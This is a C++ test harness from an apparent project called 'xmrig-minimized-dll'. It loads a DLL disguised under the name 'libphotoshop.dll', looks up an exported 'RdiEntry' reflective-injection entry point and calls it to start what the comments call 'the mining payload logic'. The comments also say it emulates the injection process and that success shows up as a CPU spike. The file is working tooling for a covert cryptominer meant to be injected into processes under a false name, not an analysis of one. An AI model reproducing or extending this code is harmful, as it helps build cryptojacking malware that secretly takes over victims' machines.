xmrig-minimized-dll/rditest.cpp

52 lines
2.0 KiB
C++

#include <windows.h>
#include <iostream>
#include <string>
// Function pointer type for the exported RdiEntry function
typedef DWORD (WINAPI *RDI_ENTRY_FUNC)(LPVOID);
int main() {
// --- 1. Define DLL Name ---
const std::string dllName = "libphotoshop.dll";
// --- 2. Load the DLL (Emulates part of the injection process) ---
std::cout << "[Tester] Attempting to LoadLibrary: " << dllName << std::endl;
HMODULE hDll = LoadLibraryA(dllName.c_str());
if (!hDll) {
std::cerr << "[ERROR] Could not load DLL. GetLastError: " << GetLastError() << std::endl;
return 1;
}
// --- 3. Get the RDI Entry Point Address ---
const std::string entryFuncName = "RdiEntry";
std::cout << "[Tester] Looking up exported function: " << entryFuncName << std::endl;
RDI_ENTRY_FUNC RdiEntry = (RDI_ENTRY_FUNC)GetProcAddress(hDll, entryFuncName.c_str());
if (!RdiEntry) {
std::cerr << "[ERROR] Could not find RdiEntry function. Check export list." << std::endl;
FreeLibrary(hDll);
return 1;
}
// --- 4. Execute the Payload Entry Point ---
std::cout << "[Tester] Calling RdiEntry payload function..." << std::endl;
DWORD dwResult = RdiEntry(NULL); // Execute the mining payload logic
std::cout << "[Tester] RdiEntry returned: " << dwResult << std::endl;
std::cout << "[Tester] Execution initiated. Check Task Manager for CPU spike." << std::endl;
// NOTE: If the payload enters an infinite loop (like xmrig often does),
// the tester will hang here. This confirms execution.
// If the payload successfully threads itself and returns immediately,
// you might reach the FreeLibrary call quickly.
// For testing stability, let the payload run for a bit before trying to exit.
// Sleep(60000); // Optional: Wait 60 seconds to observe mining (uncomment if needed)
// FreeLibrary(hDll); // Commented out, as the payload is now running on the tester's thread
return 0;
}